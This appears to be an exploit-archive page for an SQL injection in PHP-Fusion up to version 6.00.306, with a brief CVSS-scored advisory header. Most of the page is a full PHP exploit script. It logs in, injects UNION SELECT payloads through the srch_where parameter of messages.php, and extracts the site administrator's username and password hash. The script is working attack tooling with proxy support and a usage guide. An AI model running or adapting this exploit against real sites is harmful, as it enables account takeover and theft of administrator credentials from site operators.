PHP-Fusion <= 6.00.306 "srch_where" SQL injection / admin credentials disclosure

2006-05-20 / 2006-05-21
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

#!/usr/bin/php -q -d short_open_tag=on <? echo "PHP-Fusion <= v6.00.306 "srch_where" SQL Injection/Admin credentials disclosurern"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrnrn"; if ($argc<5) { echo "Usage: php ".$argv[0]." host path user pass OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to PHP-Fusionrn"; echo "user/pass: you need an accountrn"; echo "Options:rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Example:rn"; echo "php ".$argv[0]." localhost /fusion/ username passwordrn"; die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } $host=$argv[1]; $path=$argv[2]; $user=$argv[3]; $pass=$argv[4]; $port=80; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "step 1 -> login...rn"; $data ="user_name=".urlencode(trim($user)); $data.="&user_pass=".urlencode(trim($pass)); $data.="&login=Login"; $packet="POST ".$p."news.php HTTP/1.0rn"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*rn"; $packet.="Referer: http://".$host.$path."news.phprn"; $packet.="Accept-Language: enrn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Accept-Encoding: gzip, deflatern"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Keep-Alivern"; $packet.="Cache-Control: no-cachern"; $packet.="Cookie: fusion_visited=yes; PHPSESSID=44ab49664b56b97036425427b1ffb8cfrnrn"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $cookie=$temp2[0]; echo 'Your cookie -> '.$cookie."rnrn"; if ($cookie=='') {die("Unable to login...");} echo "step 2 -> inject some code in srch_where argument...rn"; $sql="999999 UNION SELECT 0,0,0,user_name,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0 FROM fusion_users WHERE user_level=103/*"; $sql=urlencode($sql); $packet ="GET ".$p."messages.php?folder=inbox&show=_&srch_where=".$sql." HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); $temp=explode("messages.php?msg_view=",$html); $temp2=explode(">",$temp[1]); $temp=explode("<",$temp2[1]); $admin=$temp[0]; echo "admin: ".$admin."rn"; $sql="999999 UNION SELECT 0,0,0,user_password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0 FROM fusion_users WHERE user_level=103/*"; $sql=urlencode($sql); $packet ="GET ".$p."messages.php?folder=inbox&show=_&srch_where=".$sql." HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); $temp=explode("messages.php?msg_view=",$html); $temp2=explode(">",$temp[1]); $temp=explode("<",$temp2[1]); $hash=$temp[0]; echo "hash: ".$hash."rn"; ?> original url:

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